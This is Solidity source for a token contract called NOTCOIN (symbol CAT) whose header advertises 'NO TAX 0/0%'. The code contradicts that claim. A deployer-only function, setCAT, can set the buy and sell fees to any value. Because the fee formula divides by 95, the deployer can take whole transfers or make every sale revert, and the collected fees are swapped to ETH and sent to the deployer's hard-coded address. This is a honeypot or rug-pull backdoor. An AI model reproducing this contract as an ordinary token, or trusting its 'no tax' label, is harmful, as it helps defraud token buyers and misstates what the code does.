creation_sourcecode: /*
  
  The most asked question in the universe is NOT COIN?
  
  NO TAX 0/0%
  
  
  */
  // SPDX-License-Identifier: unlicense
  
  pragma solidity ^0.8.20;
  
      interface IUniswapV2Router02 {
          function swapExactTokensForETHSupportingFeeOnTransferTokens(
              uint amountIn,
              uint amountOutMin,
              address[] calldata path,
              address to,
              uint deadline
              ) external;
          }
          
      contract NOTCOINerccoin {
          string public constant name = "NOTCOIN";  //
          string public constant symbol = "CAT";  //
          uint8 public constant decimals = 18;
          uint256 public constant totalSupply = 100_000_000 * 10**decimals;
  
          uint256 BurnAmount = 0;
          uint256 ConfirmAmount = 0;
          uint256 constant swapAmount = totalSupply / 100;
  
          mapping (address => uint256) public balanceOf;
          mapping (address => mapping (address => uint256)) public allowance;
              
          error Permissions();
              
          event Transfer(address indexed from, address indexed to, uint256 value);
          event Approval(
              address indexed owner,
              address indexed spender,
              uint256 value
          );
              
  
          address private pair;
          address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
          address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
          IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
          address payable constant deployer = payable(address(0xe24168FbE39caB087f5b9ae2F49d7a6192D7f739)); //
  
          bool private swapping;
          bool private tradingOpen;
  
          constructor() {
              balanceOf[msg.sender] = totalSupply;
              allowance[address(this)][routerAddress] = type(uint256).max;
              emit Transfer(address(0), msg.sender, totalSupply);
          }
  
           receive() external payable {}
  
          function approve(address spender, uint256 amount) external returns (bool){
              allowance[msg.sender][spender] = amount;
              emit Approval(msg.sender, spender, amount);
              return true;
          }
  
          function transfer(address to, uint256 amount) external returns (bool){
              return _transfer(msg.sender, to, amount);
          }
  
          function transferFrom(address from, address to, uint256 amount) external returns (bool){
              allowance[from][msg.sender] -= amount;        
              return _transfer(from, to, amount);
          }
  
          function _transfer(address from, address to, uint256 amount) internal returns (bool){
              require(tradingOpen || from == deployer || to == deployer);
  
              if(!tradingOpen && pair == address(0) && amount > 0)
                  pair = to;
  
              balanceOf[from] -= amount;
  
              if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                  swapping = true;
                  address[] memory path = new  address[](2);
                  path[0] = address(this);
                  path[1] = ETH;
                  _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                      swapAmount,
                      0,
                      path,
                      address(this),
                      block.timestamp
                      );
                  deployer.transfer(address(this).balance);
                  swapping = false;
                  }
  
              if(from != address(this)){
                  uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 95;
                  amount -= FinalAmount;
                  balanceOf[address(this)] += FinalAmount;
              }
                  balanceOf[to] += amount;
                  emit Transfer(from, to, amount);
                  return true;
              }
  
          function openTrading() external {
              require(msg.sender == deployer);
              require(!tradingOpen);
              tradingOpen = true;        
              }
  
          function setCAT(uint256 newBurn, uint256 newConfirm) external {
              require(msg.sender == deployer);
              BurnAmount = newBurn;
              ConfirmAmount = newConfirm;
              }
          }